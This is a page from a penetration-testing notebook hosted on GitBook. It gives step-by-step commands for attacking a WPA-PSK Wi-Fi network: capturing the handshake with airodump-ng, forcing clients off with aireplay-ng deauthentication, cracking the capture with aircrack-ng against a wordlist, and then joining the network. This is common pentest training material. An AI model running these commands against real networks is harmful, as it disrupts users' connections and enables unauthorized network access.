🤯
Hacker Mind
  • Penetration Testing Notes
    • 00 - Kali Linux Preparation
    • Page 1
    • Web Application (80/443)
      • XSS
      • LFI / Path Traversal
      • Wordpress
    • SMB (445)
    • LDAP
    • MSRPC (135)
    • MSSQL
    • Kerberos (88/tcp)
    • DNS (53)
    • IPv6
    • Import Nessus to Metasploit
  • STUCK? Look at this :D
  • Buffer Overflow
    • WinDbg
    • BoF Script Python
  • Active Directory Recon
    • Username Generation
    • PowerView
    • BloodHound
    • Flooding Attack
  • Payload
    • Sendemail
    • Phishing Payload
    • Bypass All The Things
      • AppLocker
      • MSBuild Shell
      • C# Runner
      • Payload Mod
      • Powershell
      • Bypass AV Linux
        • C Runner
  • Exploit
    • Brute Force
    • File Upload
    • Cracking
    • Shell & Stabilization
    • Database
    • MSSQL Injection
  • Tradecraft
    • Invoke-ReflectivePEInjection
  • Metasploit
    • Meterpreter Tricks
  • Privilege Escalation
    • Lateral Movement
    • Linux
    • Windows
  • Post Exploit
    • Active Directory
      • Kerberos
      • ACLs/ACEs
      • DCSync
      • Golden Ticket with krbtgt
      • LAPS
      • Page
      • Impersonate Token
    • Pivoting
      • Pivot in a Case
    • Transfer File
    • Exfiltration
    • Persistence
  • WiFi Pentesting
    • WPA-PSK
    • WPA-E (hostapd)
    • Attack WEP
    • Evil Twin - Wi-Fi
    • WPA3 Downgrade
  • Hardware Hacking
    • Information Gathering
  • Practice & Lab
Powered by GitBook
On this page
  1. WiFi Pentesting

WPA-PSK

List the target:

sudo airodump-ng wlan0
airodump-ng --bssid <Target_SSID> --channel <channel_number> --write wpa_psk_handshake wlan0

deauth all client:

aireplay-ng -0 5 -a <Target_SSID> wlan0

crack the handshake:

aircrack-ng wpa_psk_handshake.cap -w /usr/share/wordlist/rockyou.txt


How to connect via terminal:

  1. generate the config

wpa_passphrase <Target-Name> <Password> > wpa_psk.conf
  1. connect to the ssid

sudo wpa_supplicant -B -i wlan0 -c ./wpa_psk.conf
  1. obtain the IP Address

sudo dhclient wlan0

Don't forget to stop monitor mode. If there is an error try to restart NetworkManager

Bonus:

How to stop wpa_supplicant:

systemctl stop wpa_supplicant
PreviousWiFi PentestingNextWPA-E (hostapd)

Last updated 1 month ago